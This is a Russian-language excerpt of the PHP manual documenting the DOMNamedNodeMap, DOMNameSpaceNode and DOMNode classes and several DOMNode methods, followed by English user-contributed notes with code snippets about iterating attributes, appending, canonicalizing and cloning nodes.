echo "Реализация реализует интерфейс $name\n";
} else {
echo "Интерфейс $name отсутствует\n";
}
}

?>

Смотрите также

  • DOMNode::isSupported() - Проверяет, поддерживается ли возможность в определённой версии

User Contributed Notes

There are no user contributed notes for this page.


Класс DOMNamedNodeMap

(PHP 5, PHP 7, PHP 8)

Обзор классов

class DOMNamedNodeMap implements IteratorAggregate, Countable {
/* Свойства */
public readonly int $length;
/* Методы */
public count(): int
public getIterator(): Iterator
public getNamedItem(string $qualifiedName): ?DOMNode
public getNamedItemNS(?string $namespace, string $localName): ?DOMNode
public item(int $index): ?DOMNode
}

Свойства

length

Количество узлов в отображении. Диапазон допустимых индексов дочерних узлов от 0 до length — 1 включительно.

Список изменений

Версия | Описание
8.0.0 | Нереализованные методы DOMNamedNodeMap::setNamedItem(), DOMNamedNodeMap::removeNamedItem(), DOMNamedNodeMap::setNamedItemNS() и DOMNamedNodeMap::removeNamedItem() были удалены.
8.0.0 | Класс DOMNamedNodeMap теперь реализует интерфейс IteratorAggregate. Ранее вместо этого был реализован интерфейс Traversable.

Содержание

  • DOMNamedNodeMap::count — Количество узлов в отображении
  • DOMNamedNodeMap::getIterator — Получает внешний итератор
  • DOMNamedNodeMap::getNamedItem — Получает узел, указанный по имени
  • DOMNamedNodeMap::getNamedItemNS — Получает узел с заданным локальным именем и URI пространства имён
  • DOMNamedNodeMap::item — Получает узел с заданным индексом

User Contributed Notes

sirajshaikh96 at yahoo dot com 01-Jan-2021 02:48
I have tried to solve the general problem occurs in DOMNamedNodeMap that during executing for/foreachloop after executing removeAttribute('$name') for item(0), item(1) is not executing and warning occurs. Following codes give the solution of this problem that in loop item(0) should be applied rather than item($i) because after removing first attribute node now present element has only one attribute node.

<?php
$html  = '<h1 id="h1test" class="h2test">Heading</h1>';
$html .= '<p align="left" class="right">Hello World</p>';

$doc = new DOMDocument();
$doc->loadHTML($html);

// remove attributes from  the h1 element
$h1 = $doc->getElementsByTagName('h1')->item(0);
$length = $h1->attributes->length;
for ($i = 0; $i < $length; $i++) {
    $name = $h1->attributes->item(0)->nodeName;
    $value = $h1->attributes->item(0)->nodeValue;
    $h1->removeAttribute($name);
    echo "h1: removed attribute name :- " .$name."</br>";
    echo "h1: removed attribute value :- " .$value."</br>";
    }
// remove attributes from the p element
$p = $doc->getElementsByTagName('p')->item(0);
for ($i = 0; $i < $length; $i++) {
    $name = $p->attributes->item(0)->nodeName;
    $value = $p->attributes->item(0)->nodeValue;
    $p->removeAttribute($name);
    echo "p: removed attribute name :- " .$name."</br>";
    echo "p: removed attribute value :- " .$value."</br>";
}
?>

OUTPUT:

h1: removed attribute name :- id
h1: removed attribute value :- h1test
h1: removed attribute name :- class
h1: removed attribute value :- h2test
p: removed attribute name :- align
p: removed attribute value :- left
p: removed attribute name :- class
p: removed attribute value :- right
kendsnyder at gmail dot com 29-Oct-2009 07:55
To add to xafford's comment. When iterating a named node map collection using ->item() or using foreach, removing a attribute with DOMNode->removeAttribute() or DOMNode->removeAttributeNode() alters the collection as if it were a stack. To illustrate, the code below tries to remove all attributes from each element but only removes the first. One work around is to copy the named node map into an array before removing attributes. Using PHP 5.2.9 on Windows XP.

<?php
error_reporting(E_ALL);
$html  = '<h1 id="h1test" class="h1test">Heading</h1>';
$html .= '<p align="left" class="ptest">Hello World</p>';

$doc = new DOMDocument();
$doc->loadHTML($html);

// remove attributes from  the h1 element
$h1 = $doc->getElementsByTagName('h1')->item(0);
$length = $h1->attributes->length;
for ($i = 0; $i < $length; ++$i) {
    $name = $h1->attributes->item($i)->name;
    $h1->removeAttribute($name);
    echo "h1: removed attribute `$name`<br>";
}
// remove attributes from the p element
$p = $doc->getElementsByTagName('p')->item(0);
foreach ($p->attributes as $name => $attrNode) {
    $p->removeAttribute($name);
    echo "p: removed attribute `$name`<br>";
}

?>

OUTPUT:
-------
h1: removed attribute `id`

Notice: Trying to get property of non-object in nodemap.php on line 13
h1: removed attribute ``
p: removed attribute `align`
xafford 15-Oct-2009 03:16
I stumbled upon a problem with DOMNamedNodeMap. If you iterate over a DOMNamedNodeMap, representing the attributes of a DOMElement with foreach and you use DOMElement::removeAttributeNode only the first attribute will be handled.

Example (not complete):

<?php

/*
 * Imagine you got a node like this:
 * <a onclick="alert('evil')" href="http://example.com">evil</a>
 * and onclick should be removed, href would not be tested.
 */

foreach ( $node->attributes as $attribute )
{

    echo 'checking attribute ', $attribute->name, '<br />';

    if ( ! in_array ( $attribute->name, $allowed_attributes ) )
    {
        $node->removeAttributeNode ( $attribute );
    }

}

?>

The output would be:

checking attribute onclick


Количество узлов в отображении

  • « DOMNamedNodeMap
  • DOMNamedNodeMap::getIterator »
  • PHP Manual
  • DOMNamedNodeMap
  • Количество узлов в отображении

DOMNamedNodeMap::count

(PHP 7 >= 7.2.0, PHP 8)

DOMNamedNodeMap::count — Количество узлов в отображении

Описание

public DOMNamedNodeMap::count(): int

Получает количество узлов в отображении.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает количество узлов в отображении, которое идентично свойству length.

User Contributed Notes

There are no user contributed notes for this page.


Получает внешний итератор

  • « DOMNamedNodeMap::count
  • DOMNamedNodeMap::getNamedItem »
  • PHP Manual
  • DOMNamedNodeMap
  • Получает внешний итератор

DOMNamedNodeMap::getIterator

(PHP 8)

DOMNamedNodeMap::getIterator — Получает внешний итератор

Описание

public DOMNamedNodeMap::getIterator(): Iterator

Возвращает внешний итератор для именованной карты узлов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Метод возвращает экземпляр объекта, который реализует интерфейс Iterator или интерфейс Traversable.

Ошибки

Метод выбрасывает исключение Exception, если возникла ошибка.

Смотрите также

  • IteratorAggregate::getIterator() - Получает внешний итератор

User Contributed Notes

There are no user contributed notes for this page.


Получает узел, указанный по имени

  • « DOMNamedNodeMap::getIterator
  • DOMNamedNodeMap::getNamedItemNS »
  • PHP Manual
  • DOMNamedNodeMap
  • Получает узел, указанный по имени

DOMNamedNodeMap::getNamedItem

(PHP 5, PHP 7, PHP 8)

DOMNamedNodeMap::getNamedItem — Получает узел, указанный по имени

Описание

public DOMNamedNodeMap::getNamedItem(string $qualifiedName): ?DOMNode

Извлекает узел по заданному nodeName.

Список параметров

qualifiedName

Имя nodeName искомого узла.

Возвращаемые значения

Узел (любого типа) с заданным значением тега nodeName или null, если таковых не найдено.

Смотрите также

  • DOMNamedNodeMap::getNamedItemNS() - Получает узел с заданным локальным именем и URI пространства имён

User Contributed Notes

franp at free dot fr 03-Mar-2006 07:28
Basic example of use :

<?xml version="1.0" encoding="UTF-8"?>
<racine version="2.0a">
  <article/>
</racine>

<?php
(...)
 echo $doc->documentElement->attributes->getNamedItem("version")->nodeValue;

// returns "2.0a"
?>


Получает узел с заданным локальным именем и URI пространства имён

  • « DOMNamedNodeMap::getNamedItem
  • DOMNamedNodeMap::item »
  • PHP Manual
  • DOMNamedNodeMap
  • Получает узел с заданным локальным именем и URI пространства имён

DOMNamedNodeMap::getNamedItemNS

(PHP 5, PHP 7, PHP 8)

DOMNamedNodeMap::getNamedItemNS — Получает узел с заданным локальным именем и URI пространства имён

Описание

public DOMNamedNodeMap::getNamedItemNS(?string $namespace, string $localName): ?DOMNode

Извлекает узел с заданным локальным именем localName и URI пространства имён namespace.

Список параметров

namespace

URI пространства имён искомого узла.

localName

Локальное имя искомого узла.

Возвращаемые значения

Узел (любого типа) с заданным локальным именем и URI пространства имён или null, если он не найден.

Смотрите также

  • DOMNamedNodeMap::getNamedItem() - Получает узел, указанный по имени

User Contributed Notes

There are no user contributed notes for this page.


Получает узел с заданным индексом

  • « DOMNamedNodeMap::getNamedItemNS
  • DOMNameSpaceNode »
  • PHP Manual
  • DOMNamedNodeMap
  • Получает узел с заданным индексом

DOMNamedNodeMap::item

(PHP 5, PHP 7, PHP 8)

DOMNamedNodeMap::item — Получает узел с заданным индексом

Описание

public DOMNamedNodeMap::item(int $index): ?DOMNode

Извлекает узел с заданным индексом index из объекта класса DOMNamedNodeMap.

Список параметров

index

Индекс узла в отображении.

Возвращаемые значения

Узел с индексом index в отображении или null, если индекс имеет недопустимое значение (больше или равен количеству узлов в отображении).

User Contributed Notes

reyjacobs at yahoo dot com 07-Mar-2008 11:24
Nevermind: I got it, and here it is:

<?php
if($element->hasAttributes())
{
    $attributes = $element->attributes;
    if(!is_null($attributes))
    {
        foreach ($attributes as $index=>$attr)
        {
            echo $attr->name."=\"".$attr->value."\"";
        }
    }
}
?>


Класс DOMNameSpaceNode

(PHP 5, PHP 7, PHP 8)

Обзор классов

class DOMNameSpaceNode {
/* Свойства */
public readonly string $nodeName;
public readonly ?string $nodeValue;
public readonly int $nodeType;
public readonly string $prefix;
public readonly ?string $localName;
public readonly ?string $namespaceURI;
public readonly bool $isConnected;
public readonly ?DOMDocument $ownerDocument;
public readonly ?DOMNode $parentNode;
public readonly ?DOMElement $parentElement;
}

Свойства

nodeName

Квалифицированное имя узла.

nodeValue

URI пространства имён, объявленного этим узлом, или null, если пространство имён пустое.

nodeType

Тип узла. В данном случае возвращается XML_NAMESPACE_DECL_NODE .

prefix

Префикс пространства имён, объявленный этим узлом.

localName

Локальная часть квалифицированного имени этого узла.

namespaceURI

URI пространства имён, объявленного этим узлом, или null, если оно не определено.

isConnected

Связан ли узел с документом.

ownerDocument

Объект DOMDocument, связанный с этим узлом, или null, если этот узел — объект класса DOMDocument.

parentNode

Родительский узел этого узла. Если такого узла нет, возвращается null.

parentElement

Родительский элемент этого узла. Если такого элемента нет, возвращается null.

Список изменений

Версия | Описание
8.3.0 | Добавлены свойства DOMNameSpaceNode::$parentElement и DOMNameSpaceNode::$isConnected.

User Contributed Notes

There are no user contributed notes for this page.


Класс DOMNode

(PHP 5, PHP 7, PHP 8)

Обзор классов

class DOMNode {
/* Свойства */
public readonly string $nodeName;
public ?string $nodeValue;
public readonly int $nodeType;
public readonly ?DOMNode $parentNode;
public readonly ?DOMElement $parentElement;
public readonly DOMNodeList $childNodes;
public readonly ?DOMNode $firstChild;
public readonly ?DOMNode $lastChild;
public readonly ?DOMNode $previousSibling;
public readonly ?DOMNode $nextSibling;
public readonly ?DOMNamedNodeMap $attributes;
public readonly bool $isConnected;
public readonly ?DOMDocument $ownerDocument;
public readonly ?string $namespaceURI;
public string $prefix;
public readonly ?string $localName;
public readonly ?string $baseURI;
public string $textContent;
/* Методы */
public appendChild(DOMNode $node): DOMNode|false
public C14N(
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): string|false
public C14NFile(
string $uri,
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): int|false
public cloneNode(bool $deep = false): DOMNode|false
public contains(DOMNode|DOMNameSpaceNode|null $other): bool
public getLineNo(): int
public getNodePath(): ?string
public getRootNode(?array $options = null): DOMNode
public hasAttributes(): bool
public hasChildNodes(): bool
public insertBefore(DOMNode $node, ?DOMNode $child = null): DOMNode|false
public isDefaultNamespace(string $namespace): bool
public isEqualNode(?DOMNode $otherNode): bool
public isSameNode(DOMNode $otherNode): bool
public isSupported(string $feature, string $version): bool
public lookupNamespaceURI(?string $prefix): ?string
public lookupPrefix(string $namespace): ?string
public normalize(): void
public removeChild(DOMNode $child): DOMNode|false
public replaceChild(DOMNode $node, DOMNode $child): DOMNode|false
}

Свойства

nodeName

Возвращает наиболее точное имя для текущего типа узла

nodeValue

Значение этого узла, в зависимости от его типа. Значения узлов DOMElement, в отличие от спецификации W3C, равны DOMNode::textContent, а не null.

nodeType

Возвращает тип узла. Одна из возможных констант XML_xxx_NODE

parentNode

Родительский узел узла. Если такого узла нет, возвращает null

parentElement

Родительский элемент текущего элемента. Если такого элемента нет, будет возвращено значение null.

childNodes

Объект DOMNodeList, содержащий всех потомков узла. Если потомков нет, возвращается пустой объект DOMNodeList.

firstChild

Первый дочерний узел узла. Если такого узла нет, возвращает null.

lastChild

Последний дочерний узел текущего узла. Если такого узла нет, возвращает null.

previousSibling

Узел, непосредственно предшествующий текущему узлу. Если такого узла нет, возвращает null.

nextSibling

Узел, непосредственно следующий за узлом. Если такого узла нет, возвращает null.

attributes

Объект DOMNamedNodeMap, содержащий атрибуты узла (только если это DOMElement), иначе вернёт null.

isConnected

Указывает, присоединен ли узел к документу

ownerDocument

Объект DOMDocument, связанный с узлом, либо null, если узел — объект класса DOMDocument.

namespaceURI

URI пространство имён узла или null, если он не указан.

prefix

Префикс пространства имён узла.

localName

Возвращает локальную часть квалифицированного имя узла.

baseURI

Абсолютный базовый URI узла или null, если реализация не смогла получить абсолютный URI.

textContent

Текстовое содержимое узла и его потомков

Список изменений

Версия | Описание
8.3.0 | Были добавлены свойства DOMNode::$parentElement и DOMNode::$isConnected.
8.0.0 | Нереализованные методы DOMNode::compareDocumentPosition(), DOMNode::isEqualNode(), DOMNode::getFeature(), DOMNode::setUserData() и DOMNode::getUserData() были удалены.

Примечания

Замечание:

Модуль DOM работает с кодировкой UTF-8. Для работы с другими кодировками пользуются функциями mb_convert_encoding(), UConverter::transcode() или iconv().

Смотрите также

  • » Спецификация W3C элемента Node

Содержание

  • DOMNode::appendChild — Добавляет новый дочерний узел в конец списка потомков
  • DOMNode::C14N — Канонизировать узлы в строку
  • DOMNode::C14NFile — Канонизировать узлы в файл
  • DOMNode::cloneNode — Клонирует узел
  • DOMNode::contains — Проверяет, содержит ли узел другой узел
  • DOMNode::getLineNo — Получает номер строки узла
  • DOMNode::getNodePath — Получение XPath узла
  • DOMNode::getRootNode — Получает корневой узел
  • DOMNode::hasAttributes — Проверяет, имеет ли данный узел атрибуты
  • DOMNode::hasChildNodes — Проверяет, имеет ли данный узел потомков
  • DOMNode::insertBefore — Добавляет новый дочерний узел перед указанным узлом
  • DOMNode::isDefaultNamespace — Проверяет, является ли указанный URI пространства имён узла пространством имён по умолчанию или нет
  • DOMNode::isEqualNode — Проверяет, что оба узла идентичны
  • DOMNode::isSameNode — Указывает, являются ли два узла одним и тем же узлом
  • DOMNode::isSupported — Проверяет, поддерживается ли возможность в определённой версии
  • DOMNode::lookupNamespaceURI — Получает URI пространства имён узла по префиксу
  • DOMNode::lookupPrefix — Получает префикс пространства имён узла из URI-идентификатора пространства имён
  • DOMNode::normalize — Нормализует узел
  • DOMNode::removeChild — Удаляет дочерний узел из списка потомков
  • DOMNode::replaceChild — Заменяет дочерний узел

User Contributed Notes

Anonymous 06-May-2018 04:12
It would be helpful if docs for concrete properties mentioned readonly status of some properties:
"
ownerDocument

    The DOMDocument object associated with this node.

"
zlk1214 at gmail dot com 15-Jan-2016 01:07
A function that can set the inner HTML without encoding error. $html can be broken content such as "<a ID=id20>ssss"
function setInnerHTML($node, $html) {
    removeChildren($node);
    if (empty($html)) {
        return;
    }

    $doc = $node->ownerDocument;
    $htmlclip = new DOMDocument();
    $htmlclip->loadHTML('<meta http-equiv="Content-Type" content="text/html;CHARSET=Windows-1251"><div>' . $html . '</div>');
    $clipNode = $doc->importNode($htmlclip->documentElement->lastChild->firstChild, true);
    while ($item = $clipNode->firstChild) {
        $node->appendChild($item);
    }
}
metanull 24-Jul-2014 03:11
Yet another DOMNode to php array conversion function.
Other ones on this page are generating too "complex" arrays; this one should keep the array as tidy as possible.
Note: make sure to set LIBXML_NOBLANKS when calling DOMDocument::load, loadXML or loadHTML
See: http://be2.php.net/manual/en/libxml.constants.php
See: http://be2.php.net/manual/en/domdocument.loadxml.php

<?php
         /**
         * Returns an array representation of a DOMNode
         * Note, make sure to use the LIBXML_NOBLANKS flag when loading XML into the DOMDocument
         * @param DOMDocument $dom
         * @param DOMNode $node
         * @return array
         */
        function nodeToArray( $dom, $node) {
            if(!is_a( $dom, 'DOMDocument' ) || !is_a( $node, 'DOMNode' )) {
                return false;
            }
            $array = false;
            if( empty( trim( $node->localName ))) {// Discard empty nodes
                return false;
            }
            if( XML_TEXT_NODE == $node->nodeType ) {
                return $node->nodeValue;
            }
            foreach ($node->attributes as $attr) {
                $array['@'.$attr->localName] = $attr->nodeValue;
            }
            foreach ($node->childNodes as $childNode) {
                if ( 1 == $childNode->childNodes->length && XML_TEXT_NODE == $childNode->firstChild->nodeType ) {
                    $array[$childNode->localName] = $childNode->nodeValue;
                }  else {
                    if( false !== ($a = self::nodeToArray( $dom, $childNode))) {
                        $array[$childNode->localName] =     $a;
                    }
                }
            }
            return $array;
        }
?>
pizarropablo at gmail dot com 16-Apr-2014 02:36
In response to: alastair dot dallas at gmail dot com about "#text" nodes.
"#text" nodes appear when there are spaces or new lines between end tag and next initial tag.

Eg "<data><age>10</age>[SPACES]<other>20</other>[SPACES]</data>"

"data" childNodes has 4 childs:
- age = 10
- #text = spaces
- other = 20
- #text =  spaces
matej dot golian at gmail dot com 29-Aug-2013 01:15
Here is a little function that truncates a DomNode to a specified number of text characters. I use it to generate HTML excerpts for my blog entries.

<?php

function makehtmlexcerpt(DomNode $html, $excerptlength)
{
$remove = 0;
$htmllength = strlen(html_entity_decode($html->textContent, ENT_QUOTES, 'UTF-8'));
$truncate = $htmllength - $excerptlength;
if($htmllength > $excerptlength)
{
if($html->hasChildNodes())
{
$children = $html->childNodes;
for($counter = 0; $counter < $children->length; $counter ++)
{
$child = $children->item($children->length - ($counter + 1));
$childlength = strlen(html_entity_decode($child->textContent, ENT_QUOTES, 'UTF-8'));
if($childlength <= $truncate)
{
$remove ++;
$truncate = $truncate - $childlength;
}
else
{
$child = makehtmlexcerpt($child, $childlength - $truncate);
break;
}
}
if($remove != 0)
{
for($counter = 0; $counter < $remove; $counter ++)
{
$html->removeChild($html->lastChild);
}
}
}
else
{
if($html->nodeName == '#text')
{
$html->nodeValue = substr(html_entity_decode($html->nodeValue, ENT_QUOTES, 'UTF-8'), 0, $htmllength - $truncate);
}
}
}
return $html;
}

?>
alastair dot dallas at gmail dot com 25-Sep-2011 08:44
The issues around mixed content took me some experimentation to remember, so I thought I'd add this note to save others time.

When your markup is something like: <div><p>First text.</p><ul><li><p>First bullet</p></li></ul></div>, you'll get XML_ELEMENT_NODEs that are quite regular. The <div> has children <p> and <ul> and the nodeValue for both <p>s yields the text you expect.

But when your markup is more like <p>This is <b>bold</b> and this is <i>italic</i>.</p>, you realize that the nodeValue for XML_ELEMENT_NODEs is not reliable. In this case, you need to look at the <p>'s child nodes. For this example, the <p> has children: #text, <b>, #text, <i>, #text.

In this example, the nodeValue of <b> and <i> is the same as their #text children. But you could have markup like: <p>This <b>is bold and <i>bold italic</i></b>, you see?</p>. In this case, you need to look at the children of <b>, which will be #text, <i>, because the nodeValue of <b> will not be sufficient.

XML_TEXT_NODEs have no children and are always named '#text'. Depending on how whitespace is handled, your tree may have "empty" #text nodes as children of <body> and elsewhere.

Attributes are nodes, but I had forgotten that they are not in the tree expressed by childNodes. Walking the full tree using childNodes will not visit any attribute nodes.
imranomar at gmail dot com 20-Mar-2011 06:10
Just discovered that node->nodeValue strips out all the tags
I. Cook 19-Apr-2010 02:43
For a reference with more information about the XML DOM node types, see http://www.w3schools.com/dom/dom_nodetype.asp

(When using PHP DOMNode, these constants need to be prefaced with "XML_")
R. Studer 13-Jan-2010 09:03
For clarification:
The assumingly 'discoverd' by previous posters and seemingly undocumented methods (.getElementsByTagName and .getAttribute) on this class (DOMNode) are in fact methods of the class DOMElement, which inherits from DOMNode.

See: http://www.php.net/manual/en/class.domelement.php
David Rekowski 08-Jan-2010 01:54
You cannot simply overwrite $textContent, to replace the text content of a DOMNode, as the missing readonly flag suggests. Instead you have to do something like this:

<?php

$node->removeChild($node->firstChild);
$node->appendChild(new DOMText('new text content'));

?>

This example shows what happens:

<?php

$doc = DOMDocument::loadXML('<node>old content</node>');
$node = $doc->getElementsByTagName('node')->item(0);
echo "Content 1: ".$node->textContent."\n";

$node->textContent = 'new content';
echo "Content 2: ".$node->textContent."\n";

$newText = new DOMText('new content');

$node->appendChild($newText);
echo "Content 3: ".$node->textContent."\n";

$node->removeChild($node->firstChild);
$node->appendChild($newText);
echo "Content 4: ".$node->textContent."\n";

?>

The output is:

Content 1: old content // starting content
Content 2: old content // trying to replace overwriting $node->textContent
Content 3: old contentnew content // simply appending the new text node
Content 4: new content // removing firstchild before appending the new text node

If you want to have a CDATA section, use this:

<?php
$doc = DOMDocument::loadXML('<node>old content</node>');
$node = $doc->getElementsByTagName('node')->item(0);
$node->removeChild($node->firstChild);
$newText = $doc->createCDATASection('new cdata content');
$node->appendChild($newText);
echo "Content withCDATA: ".$doc->saveXML($node)."\n";
?>
Steve K 03-Nov-2009 11:47
This class apparently also has a getElementsByTagName method.

I was able to confirm this by evaluating the output from DOMNodeList->item() against various tests with the is_a() function.
marc at ermshaus dot org 05-May-2009 08:36
It took me forever to find a mapping for the XML_*_NODE constants. So I thought, it'd be handy to paste it here:

 1 XML_ELEMENT_NODE
 2 XML_ATTRIBUTE_NODE
 3 XML_TEXT_NODE
 4 XML_CDATA_SECTION_NODE
 5 XML_ENTITY_REFERENCE_NODE
 6 XML_ENTITY_NODE
 7 XML_PROCESSING_INSTRUCTION_NODE
 8 XML_COMMENT_NODE
 9 XML_DOCUMENT_NODE
10 XML_DOCUMENT_TYPE_NODE
11 XML_DOCUMENT_FRAGMENT_NODE
12 XML_NOTATION_NODE
matt at lamplightdb dot co dot uk 06-Apr-2009 05:39
And apparently also a setAttribute method too:

$node->setAttribute( 'attrName' , 'value' );
brian wildwoodassociates.info 07-Dec-2008 11:27
This class has a getAttribute method.

Assume that a DOMNode object $ref contained an anchor taken out of a DOMNode List.  Then

    $url = $ref->getAttribute('href');

would isolate the url associated with the href part of the anchor.


Добавляет новый дочерний узел в конец списка потомков

  • « DOMNode
  • DOMNode::C14N »
  • PHP Manual
  • DOMNode
  • Добавляет новый дочерний узел в конец списка потомков

DOMNode::appendChild

(PHP 5, PHP 7, PHP 8)

DOMNode::appendChild — Добавляет новый дочерний узел в конец списка потомков

Описание

public DOMNode::appendChild(DOMNode $node): DOMNode|false

Функция добавляет дочерний узел в существующий список потомков или создаёт новый список дочерних элементов. Дочерний узел может быть создан с помощью DOMDocument::createElement(), DOMDocument::createTextNode() и т.д., или может быть использован любой другой узел.

При использовании существующего узла он будет перемещён.

Список параметров

node

Добавляемый дочерний узел.

Возвращаемые значения

Возвращает добавленный узел или false в случае возникновения ошибки.

Ошибки

DOM_NO_MODIFICATION_ALLOWED_ERR

Возникает, если узел доступен только для чтения или предыдущий родитель вставляемого узла доступен только для чтения.

DOM_HIERARCHY_REQUEST_ERR

Возникает, если тип узла не поддерживает потомков типа, который имеет узел node, или если добавляемый узел является одним из предком целевого узла или им самим.

DOM_WRONG_DOCUMENT_ERR

Возникает, если node создан в другом документе, отличном от того, в котором был создан этот узел.

Примеры

Следующий пример добавляет новый узел в только что созданный документ.

Пример #1 Добавление дочернего узла

<?php

$doc = new DOMDocument;

$node = $doc->createElement("para");
$newnode = $doc->appendChild($node);

echo $doc->saveXML();
?>

Пример #2 Вложенные дочерние узлы

<?php

$doc = new DOMDocument;

$headNode = $doc->createElement("head");
$doc->appendChild($headNode);

$titleNode = $doc->createElement("title");
$headNode->appendChild($titleNode);

echo $doc->saveXML();
?>

Смотрите также

  • DOMChildNode::after() - Добавляет узлы после узла
  • DOMNode::insertBefore() - Добавляет новый дочерний узел перед указанным узлом
  • DOMNode::removeChild() - Удаляет дочерний узел из списка потомков
  • DOMNode::replaceChild() - Заменяет дочерний узел

User Contributed Notes

cweiske at php dot net 05-Nov-2017 01:56
If you want to move the children of one node to another, you cannot simply iterate on $element->childNodes - you have to make an array first:

<?php
$children = [];
foreach ($elemWithChildren->childNodes as $child) {
    $children[] = $child;
}
foreach ($children as $child) {
    $targetElement->appendChild($child);
}
?>
frame at dynamiccreated dot de 01-Dec-2010 04:14
Aware dealing with DOMNodeList and appendChild() on the same Node.

If you want to replace only the children not the DOMElement itself you probably foreach childNodes-property or get the DOMElements with a for-loop and item()-method of the DOMNodeList.

You will fail if you not clone the received single DOMElement. Actually the count of the DOMNodelist will be decreased on appendChild count but appendChild seems to refer to the old Nodelist and nothing visible will happen. Cloning will help.
krisdover at hotmail dot com 31-May-2008 08:49
What's not mentioned here is that DOMNode::appendChild() can also be used to move an existing node to another part of the DOMDocument, e.g.

<?php
$doc = new DOMDocument();
$doc->loadXML("<foobar><bar/><foo/></foobar>");
$bar = $doc->documentElement->firstChild;
$foo = $doc->documentElement->lastChild;
$foo->appendChild($bar);
print $doc->saveXML();
?>

This produces:

<?xml version="1.0"?>
<foobar><foo><bar/></foo></foobar>

Note that the nodes "<foo/>" and "<bar/>" were siblings, i.e. the first and last child of "<foobar>" but using appendChild() we were able to move "<bar/>" so that it is a child of "<foo/>".

This saves you the trouble of doing a DOMNode::removeChild($bar) to remove "<bar/>" before appending it as a child of "<foo/>".

Kris Dover
jrtayloriv at gmail dot com 30-Mar-2008 04:56
If you want to create nested DOM elements:

<?php
    $doc = new DOMDocument();

    $foo = $doc->createElement("foo");
    $doc->appendChild($foo);

    $bar = $doc->createElement("bar");
    $foo->appendChild($bar);

    $bazz = $doc->createElement("bazz");
    $foo->appendChild($bazz);

    echo $doc->saveXML();
?>

Is equivalent to:

<foo>
  <bar></bar>
  <bazz></bazz>
</foo>


Канонизировать узлы в строку

  • « DOMNode::appendChild
  • DOMNode::C14NFile »
  • PHP Manual
  • DOMNode
  • Канонизировать узлы в строку

DOMNode::C14N

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DOMNode::C14N — Канонизировать узлы в строку

Описание

public DOMNode::C14N(
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): string|false

Канонизировать узлы в строку

Список параметров

exclusive

Включить эксклюзивный разбор только тех узлов, которые совпадают с предоставленными xpath или ns_prefixes.

withComments

Сохранять комментарии в выводе.

xpath

Массив xpath для фильтрации узлов.

nsPrefixes

Массив префиксов пространств имён для фильтрации узлов.

Возвращаемые значения

Возвращает канонизированные узлы в виде строки или false, если возникла ошибка

Смотрите также

  • DOMNode::C14NFile() - Канонизировать узлы в файл

User Contributed Notes

lordbaco 28-Jan-2016 09:57
Good to know:

<< Due to a known issue in XML canonicalization in PHP, processing large metadata files in SimpleSAMLphp takes a big amount of resources, with that amount growing approximately by the square of the number of entities in the metadata set >>
https://simplesamlphp.org/metaprocessing

<< The C14N() function appears to have a runtime that is O(N^2) (or possibly worse?) depending on input size, which means that it becomes very slow as the input grows. For example, an input with around 196000 nodes takes about 290 seconds, while an input with 486000 nodes takes 2200 seconds. >>
https://bugs.php.net/bug.php?id=53655

We had the same issue with a 4.1 MB XML (105k lines). The sample code of ticket  #53655 takes 1h36 minute to canonicalize it!
jorda at edpsciences dot org 13-Mar-2015 09:11
C14N() returns an empty string if the node is not included in the document tree:
<?php
$d = new DOMDocument('1.0');
$d->loadXML('<foo></foo>');
$n = $d->createElement('bar');
var_dump($n->C14N());
$d->documentElement->appendChild($n);
var_dump($n->C14N());
?>
output:
string(0) ""
string(11) "<bar></bar>"
Rijk 27-Mar-2013 09:26
When working with (malformed) HTML, you're probably better off using DOMDocument's saveHTML() method instead. C14N() will attempt to make your HTML valid XML, for example by converting <br> to <br></br>.

So instead of:
$html = $Node->C14N();

Use:
$html = $Node->ownerDocument->saveHTML( $Node );


Канонизировать узлы в файл

  • « DOMNode::C14N
  • DOMNode::cloneNode »
  • PHP Manual
  • DOMNode
  • Канонизировать узлы в файл

DOMNode::C14NFile

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DOMNode::C14NFile — Канонизировать узлы в файл

Описание

public DOMNode::C14NFile(
string $uri,
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): int|false

Канонизировать узлы в файл.

Список параметров

uri

Путь для записи вывода.

exclusive

Включить эксклюзивный разбор только тех узлов, которые совпадают с предоставленными xpath или ns_prefixes.

withComments

Сохранять комментарии в выводе.

xpath

Массив xpath для фильтрации узлов.

nsPrefixes

Массив префиксов пространств имён для фильтрации узлов.

Возвращаемые значения

Количество записанных байт или false, если возникла ошибка

Смотрите также

  • DOMNode::C14N() - Канонизировать узлы в строку

User Contributed Notes

There are no user contributed notes for this page.


Клонирует узел

  • « DOMNode::C14NFile
  • DOMNode::contains »
  • PHP Manual
  • DOMNode
  • Клонирует узел

DOMNode::cloneNode

(PHP 5, PHP 7, PHP 8)

DOMNode::cloneNode — Клонирует узел

Описание

public DOMNode::cloneNode(bool $deep = false): DOMNode|false

Создаёт копию узла.

Список параметров

deep

Указывает, нужно ли копировать всех потомков. Этот параметр по умолчанию имеет значение false.

Возвращаемые значения

Копия узла.

User Contributed Notes

cmd at 1xinternet dot de 16-Nov-2016 12:11
If you need to clone node including all child DOMNode elements:

private function cloneNode($node){

        $nd = new DOMNode();

        for ($i = 0; $i < $node->childNodes->length; $i++) {
            $child = $node->childNodes->item($i);
            if ($child->nodeType === XML_TEXT_NODE) {
                $nd->appendChild($node->cloneNode(true));
            }
            else{
                $nd->appendChild($this->cloneNode($child));
            }
        }

        return $nd;
    }
h-fate at gmx dot net 01-Oct-2014 07:48
If you have an object that holds a DOMNode, cloning the object won't clone the DOMNode with it. If you simply copy the object or add its DOMNode several times, you will in fact only move the DOMNode in the tree, not multiply it. That might seem obvious, but took me half a day to find out.

The object needs to use __clone and clone the node manually:

<?php
class containsNode {
    public $node; //set from somewhere

    public function __clone() {
        $this->node = $this->node->cloneNode(TRUE);
    }
}
?>
frame at dynamiccreated dot de 02-Dec-2012 02:19
Remeber that DOMNode always needs a reference to a parent node or DOMDocument.

For example, if you try to clone a node - copy all children - and overwrite or delete the variable which holds the cloned node - all children will loose any reference and getting invalid.

This will cause a nice message like "Couldn't... node no longer exists" if you have luck. In most cases PHP only gives you the poor information "Couldn't fetch DOM[...]" which makes hard to find out whats going on, depending on the current operation.
